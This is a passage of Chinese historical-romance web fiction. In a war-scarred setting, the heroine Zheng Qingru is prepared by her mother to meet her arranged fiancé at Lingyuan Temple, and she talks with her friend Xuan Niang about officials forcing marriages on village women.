白与红相交,衬出几分妖冶的鬼魅相。 “郑清如。”她脆生生地答。 “……” - 叩叩叩。 “清如。” “醒一醒。” 叩叩叩。 “清如呐,今儿有正事要忙,别赖床了。” 叩叩叩。 “清如!” “郑清如!” 掷地有声的怒吼过后,紧闭的房门被人从外猛然推开,重重砸到后墙上,惊起一阵日光飞屑。 马玉兰踏进屋里,向外推开窗户,接着一把掀开帘子,不由分说的把熟睡的人从被窝里拎起来,咣咣两巴掌扇在屁-股上,恨铁不成钢地低骂:“臭丫头,你阿婆在外头嗓子都喊破了也不听你应一声,到底是多香的炕啊,教你这么舍不得!?” 被窝里的人干脆就撅着让她抽了两下,反正穿得厚,一点儿不疼。 她阖着眼耍赖皮,哼哼唧唧地撒娇:“阿娘,再容我睡一刻罢。” “少来这套,快快起床洗漱。” 马玉兰捡起地上的镜子,发现边角磕掉一块,心疼的又骂了一句臭丫头。 她边将桌上的东西摆整齐,边唠叨:“今儿灵源寺造像,村里的少男少女闻讯皆赶去祭拜,萱娘一早便到家中邀你来了,别让人家久等。” 41. 征婚 听说萱娘来了,郑清如立马来了精神,一骨碌从被窝里爬起身,趿上鞋子,走到后院儿打水洗脸,接着站在柜子前,认认真真挑选合心意的衣裳。 马玉兰忙着整理床铺,叮嘱她,出门前记得去找阿婆拿一些纸元宝。 郑清如明了阿母的用意,乖乖答应,心头不由得涌起几分悲苦。 自从前朝覆灭,周边诸侯国趁机作乱争权,北方中原大地战乱不休长达几十年。在皇城中称帝的人今儿姓齐明儿姓周,更换的速度比田埂间除了又长的野草还快。 被战争殃及的百姓们,身死在外竟已算个好结局,更有的门户,男人们一律征往战场,女人们则被强撸去做些粗活计。多的是人家自此一别,终生不得再见。 幸而阿翁懂得药草医理,并未被派上前线打仗,得以捡了一条命回来与家人团圆。 只可惜旁支的兄弟姊妹们尸骨无存,连个奶娃娃都没留下。后来由阿翁操办,将他们的牌位供在灵源寺,逢年过节或赶上庙里活动,便由家中得闲的人过去祭拜。 郑清如的阿耶,名唤郑丰,先头是军需营的一名药材先生,机缘巧合之下与郑清如的阿母,马玉兰结识。同一年,两人得到长官允许返乡,在双亲和里正的见证下结为夫妻。 五年后,郑清如于军需营中出生。 一直到她七岁那年,这片土地再一次迎来新的君主。 这位来自西北方的游牧民族,据说凭着一身本事率部队厮杀至此,未尝败绩。故而,他率部进城后闹得人心惶惶,百姓皆以为来的是个饮血啖肉的恶魔,出人意料的却是,这是一位真心实意想治好天下的明君。 新主坐稳之后,立即下令解散军需营,放百姓归乡,并在乡间实行均田制,女子亦可受田,尽管额度低于男子。 平民女子除了参与田间劳作,还可以采桑养蚕、纺织等补贴家用。布帛能够替代一部分粮食作为赋税缴纳,减轻荒年时期的压力,也可以转手卖掉,渐渐地,发展成为老百姓的重要收入来源。 政令颁布实行不出一年光景,饱经战乱之苦的中原大地变成了一副崭新面貌。 郑清如家中的情况更特殊、更富余一些。 除去在田间劳作的双亲,阿翁时常上山采药材,再转手至各间药铺赚点差价补贴家用。阿婆绣工出众,凡经过她手修出来的图样或帕子,拿到镇上托人卖,叫价总能比市价高出不少。 郑清如则遗传了阿婆的心灵手敏,打小便擅长木工。 哪怕一块成色不佳的朽木,交给她,不出片刻就成了精致的日常物件。 小小一个人儿的时候,她便很有主意地拎着竹筐去乡头,吆喝叫卖亲手制作的簪子、妆奁以及阿婆绣的汗巾帕子,引得不少乡邻围观。 善心的女娘们主动捧她生意,掏钱买了物件,带出去,难免会被他人瞧上打听来源。 郑清如的名号故此在镇上传开,多的是女娘慕名而来,争着抢着要买。 毕竟,价低质高,谁不稀罕。 待郑清如长到议亲的年纪,长辈们便拘着她少往外跑,并未约束她做木工。至于闲暇时候,为了练手雕刻的纤巧物件,被她挑拣出能入眼的样式,分别赠给同乡的姊妹们,也不失为趣事一桩。 但一想起成亲这桩迫在眉睫的头等大事,郑清如心中又是一股抒发不了的郁气。 马玉兰帮她紧了紧腰间的系带,自镜子里瞥见她紧蹙的眉心,了然她在为何事烦忧,主动挑破,“你阿耶同你晏叔父几十年的交情,对他的为人品行很是了解,他教出来的儿子也必不会差,否则你阿耶怎会允诺这门亲事,更不会教你嫁过去吃苦。” “我看未必。”郑清如反驳,声音虽小,但态度倒是很坚决。 “里正一生大公无私,里正夫人对待乡邻们友善可亲,偏生一个儿子为非作歹,吃喝嫖赌样样儿都干,是个十足的混账,硬生生把夫妻俩气死了。可他竟还不知悔改,守着家底白吃白喝,眼瞅要没银子花了,便学起那些地皮流氓的做派,去往镇子上找商户收保护费。真真儿丧良心。” “再说村东头,柳老赖家的七娘。” “她亲娘在战乱中跟家人走散了,至今没找回来,不知是死是活,又摊上一个好吃懒做、嗜酒如命的爹,没过过一天快活日子。若这就是命,那七娘的命真是差到极点了,可她却一点儿不认,凭着从阿婆这儿学来的绣工,十岁就在镇上的绣楼里谋了一份靠谱的差事,自个儿养活自个儿。” “那楼主也是个善心的娘子,知晓七娘家中的情况,便留七娘在楼中长住,柳老赖屡次上门找茬都被挡回去了……区区一个乡里发生两桩这样的事,天下何其大,定然更不缺例子……可见,子女的长成也不全与父母的品行相干。” 郑清如指间绕着缠着发尾,浑身透着一股可怜兮兮的气息,说的话却离经叛道。 马玉兰定定地睨了她一会儿,表情不似因为她狂悖的言论生气,更似疑惑。 “我同你阿耶在田间种地,时时与乡亲们待在一处,尚且不知晓恁多。你整天待在家中跟你阿婆养蚕、织布,忙得脚不沾地,这些话打哪儿听来的?” 郑清如一双葡萄大的眼睛乌黑发亮,指着敞开的窗户,振振有词:“墙外头。” 马玉兰顺势向外望去。 低矮的土墙外,瞧得见人来人往叫卖的小贩。隔着不远的距离,便有一条潺潺流过的小溪,许多盥洗衣物的老婆子聚集在溪边,手上忙个不停,一张嘴巴叭叭的也没得闲。 聊到起劲时眉飞色舞,身后茶摊的客人们见状,也搬着椅子坐过来凑热闹。 吵吵嚷嚷的声音传进院子里,的确听得一清二楚。 “……”马玉兰:“少听这些闲杂事。” 她立即过去关了窗户,声音减弱不少,房内的光霎时暗下来。 “……哦。”郑清如蔫头耷脑地站在那儿,模样看起来更可怜了。 马玉兰深深叹口气,从袖兜里掏出用油皮纸裹着的糖果,叮嘱郑清如路上和萱娘分着吃。 随即,她话锋一转,说:“咱家的条件虽远远算不上富裕,但养你一个姑娘足够了,若非形势所迫,阿耶阿母也不舍得将你嫁出去。” 中原这片地方乱了太久,如今战事终歇,百废待兴之际,最缺人手。 另外,为了管理战乱后的孤女及流民,朝廷下令各地方官府设立“媒官”负责婚配,事成还由官府分配住处和活计,让这一批人得以安身立命。 原本是好事一桩,可皇命跨过山川河流,传到这么远的地方来,俨然变味儿了。 官府文书在镇子的公示栏上贴了许久,无奈乡内识字的人太少,消息一直没传开。 直至家中老翁前往铺子送药材,偶然间听药童提及,官府有令,凡家中有及笄还未订婚或成亲的女娘,一律上报官府,听从媒官的安排与同样独身的郎君相亲。 若成了,家中亲人按人头领赏银、肉粮。 口口声声说得好听,谁知道对方是丑是美,家世人品如何,是不是南边逃难来的流民。 如若把女娘的人生大事交给官府那群不相干的人,岂非羊入虎口,大难临头了。 凡家中有待嫁女娘的乡亲们凑在一起,一商量,当日便想出一大箩筐的应对法子。 要么隐瞒女娘的真实年纪,对外谎称得病休养,无法外出见人,能躲一日算一日; 要么,赶快跟相熟、可依靠的人家许下婚事; 要么干脆把女儿送出去,或上山入观,带发修行,暂且避一避风头,待事了再随便找个由头接人回来; 要么卖牲口或粮食,把家底翻干净再兑上棺材本,去官府托关系,给自家女郎买个豁免名额。 原本商量定了依各家情况行事,岂料,一波未平一波又起。 长年战乱导致男女比例失衡,朝廷表面鼓励寡妇再嫁,实际却强制寡妻配嫁戍边将士,这种情况下,地方官行事便愈发肆无忌惮,上月末甚至派人前往临乡强撸了一批女娘,那些富足的门户多缴粮、塞银子、托人脉,统统没用。 眼瞅着下一回便要到这儿来撸人了,乡内这阵子炮仗声连绵不断,家家户户几乎都挂上红绸开办喜事,裁缝店内客人络绎不绝,掌柜的忙到喝水如厕的功夫都没有。 就连萱娘,也跟同村的庚家大哥儿定下了。 郑清如自然理解阿耶阿母的为难之处,逼她嫁人不行,眼睁睁看着她被官府撸去许配给流民更不行,两害相权取其轻,还不如让她嫁给晏家的大哥儿晏弘,起码知根知底,风险相对小些。 但不管嫁不嫁,嫁给谁,如今都像一团挥之不去的浓雾,笼罩着郑清如。 眼见离聘书上的日子不剩多久了,她心底愈发慌张,常常做梦,梦见自己站在悬崖边上,身前站着一个看不清面容的男人,吓得她连连后退,不慎一脚踏空,坠入万劫不复。 为娘的怎会不知女儿的心思。 马玉兰明了郑清如的恐惧,也不欲将她养成不谙世事的娘子,坦言:“如今的世道看似太平,可谁敢确保这样的太平能维持多久?” “你在军需营长大,曾见过那些从前线送回来的伤病儿郎们。他们夜夜入睡都心惊胆战,恨不得把脑袋别在裤腰带上,临死之前,还在念叨没能娶上婆娘……更遑论,长河以南的地界一直在打仗,如今这位君主仍要依仗将军们、战士们帮他厮杀天下,遇事必以他们为先……” “朝廷下的令忽好忽坏,一天一个样儿,咱们平头百姓无依无靠、无权无势,一生都在被天下大势推着走,压根儿不敢构想将来的日子。对你,也是一样。只有先跨过面前这个坎儿,才可言明朝。”马玉兰语重心长道。 这话太沉重,勾起郑清如少时被血色模糊的回忆。 她抿了抿唇,不知该如何作答。 一时之间,屋内气氛沉寂。 马玉兰返回桌前,精挑细选出几支由郑清如亲手制作的簪子,往她发间比了比,效果不及预期。又来到柜前,打开带锁的那一层,取出那支白玉金蕊黑木发簪。 寻常人家自然买不起这等贵重的物件。 因着郑丰早年间上山采草药,机缘巧合之下救了遭遇雪灾的老者和小郎君,将他们带回营帐取暖,恰巧马玉兰诞下女娃不久,又恰巧那位老者读过书,便给她取名“清如”,并留下这支发簪以报救命之恩。 雪停之后,老者带着小郎君离开,未曾留下姓名。 马玉兰瞧着发簪精贵,一直小心收着,待郑清如出嫁的时候用作添妆。 今儿比较特殊,索性先让她戴上了。 十里八乡谁不夸郑家女娘生得水灵,哪怕扛着锄头劳作多日,汗流满脸、风尘仆仆的模样也是别样娇俏。掰着自家女儿这张漂亮的小脸儿,左瞧右瞧,马玉兰十分满意,敲定了,“就戴这支。” 镜子被挡着,郑清如只得摸了摸脑袋。 马玉兰生怕她弄乱头发,赶紧阻拦,“别动。” 郑清如依言放下手,态度踌躇:“阿母,我去庙里拜神佛,打扮的太过花枝招展,不好罢。” “不止拜佛,更紧要的是去见个人。” “谁?” “晏弘。” “——怎这般突然!?” 郑清如肉眼可见的慌了,“晏叔父一家行商在外,已经很久没有返乡了,眼下不到年关或节日,他……晏家哥哥回来作甚?” “为了你。” 马玉兰满脸笑意,话里话外透露着惬心,“他寄给你阿耶的信中说,你们太久没见,对 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马玉兰欣然一笑,将崭新的帕子往她怀兜里塞了塞,以防路上走得急,或者人多挤来挤去的又弄掉了,叮嘱:“碰面的地儿就定在寺内给香客歇脚的院子里,左数第二间屋子就是,以防认错人,你进门先问问。他信中说,今儿还有个嬷嬷同在,以免你不自在。” 郑清如:“好。” “那便去罢,路上小心。” - 入春之后一连下了多场连绵细雨,养活了田垄间的菜苗苗,却苦了同样活在土地上的人们。头顶整日阴郁雾蒙,难免影响心情,干活都提不起劲儿来。 今儿难得一个大晴天,日头洒在地面儿上金灿灿的一层,照得人暖烘烘的,心里也敞亮。 郑清如和萱娘边吃零嘴,边随着人群大队往灵源寺的方向走去。 经过绣楼时,依稀听见里头传来的梭子声,萱娘主动同她谈及柳七娘的事儿,“……虎毒尚且不食子,七娘的阿耶真真儿没品极了,一听官府说嫁女有赏钱,便把老赖惯用的那套行径搬出来,日日夜夜躺在绣楼门前不肯走,逼七娘接受媒官安排的相亲。” 郑清如亦不齿柳老赖的行径,跟着啐了一口,担忧道:“七娘怎么办?” “无妨,据传绣楼的女老板背后有些势力,连官府那头也忌惮,不敢动楼内的绣娘们,她额外给了柳老赖一笔银子,买断这份父女孽债。七娘为报恩,当众发誓终生不嫁,与绣楼共存亡。” 郑清如唏嘘不已,旋即不解道:“咱们这穷乡僻壤,什么时候出了这样一位了不起的人物。” 萱娘冥思一会儿,摇摇头:“不晓得。” 她们都出生在军需营,长到懂事的年岁才跟家人重返故乡,对这片土地的了解不深。长辈们因为战乱离开太久,刚回来时连路通往何方都记不清了,哪还说得出这座绣楼的由来。 总而言之,不管女老板的真实身份是哪位达官显贵,七娘日后不必再被柳老赖骚-扰,更不怕被官府强撸去,已然是不幸之中的万幸了。 萱娘往四周扫了一圈,确保不会被旁人听去,压低声量咕哝:“乡邻们都说七娘命不好,摆脱一个老赖父亲白白搭进去自己的下半辈子,我却很羡慕她。” 郑清如撩起衣摆,免得泥巴弄脏衣摆,踩着干净的石块深一脚浅一脚的往山上爬。闻言,她很轻地笑了笑:“羡慕什么?” “羡慕她有养活自个儿的本钱,这不比嫁夫君更有用么。” 萱娘叹气:“在军需营的时候,婶婶、姨娘们只靠双手干活计赚银子,照样可以养活自己和孩子,如今却放下所有的本事,跟赶集哄抢粮食似的,帮着自家女娘到处抢男人。唉。” “没法子嘛。咱们平头老百姓统共没过上几年安稳日子,遇事下意识先考虑怎么活下去才是常理。” 郑清如说:“以前战乱不休,留在军需营里虽然过得苦,但有的吃、有的住,干得出色还可以把家人接来同住,总比一家子流落在外,不知道哪天就会丧命要好千倍万倍。” “彼时众人拼了命地钻研绣工,冒着酷暑严寒下地耕种或上山摘菜、采药草等等,尽力让自个儿变得有用,别被军爷发怒撵走,断了活路。而现下,手艺无法免去眼前的困境,大家自然而然得另寻他法了。” “不管学艺还是嫁娶,大家都只想从这乱世之中活下去。若为这个目的,仅仅是每个人所用的法子不同而已,哪有什么高低贵贱之分。” 郑清如顺手薅下一根狗尾巴草,三两下编成漂亮的草戒,递给萱娘。 瞅见萱娘垂头丧气的模样,她用手肘拐了她一下,故意说俏皮话逗人开心,“你今日为何突生恁多感慨?难道你变卦了,不喜欢庚家哥儿了,也不愿嫁到他家去了?” “嘶——那可难办了。” 郑清如装模作样地叹气。 “庚家哥儿自从穿着开裆裤的年岁起便与你在一起耍泥巴了,他打小,逢人就念叨着以后要跟你成亲,赚了银钱都攒着娶你用,真可谓一片痴心呐。如若你在这个节骨眼上反悔,我怕他受不住打击,会疯。” 萱娘霍然抬起头,一听见心上人就臊得脸颊绯红,急忙辩解:“我可没这个意思,只是近来发生恁多事,感慨一句而已。你这么聪明,肯定能明白我的。” “知道,知道,同你玩笑呢。” 郑清如揽了萱娘的胳膊,嬉嬉闹闹的顺着人群往前走。 偶有一阵风卷过郑清如的裙摆,裹挟着林间独特的水汽潮湿味儿,顺着帘子缝隙吹入轿厢中。那人擦拭长剑的动作一顿,似有所感般,掀起帘子一角,视线精准捕捉到人群中的那抹倩影。 而同一时刻,郑清如迈上最后一级石阶,揪着袖子抹掉额头的汗珠,扭头往轿辇所在的方向望过来。 方才晴空万里的天忽然浓云滚滚,伴随轰隆一声,暴雨骤降。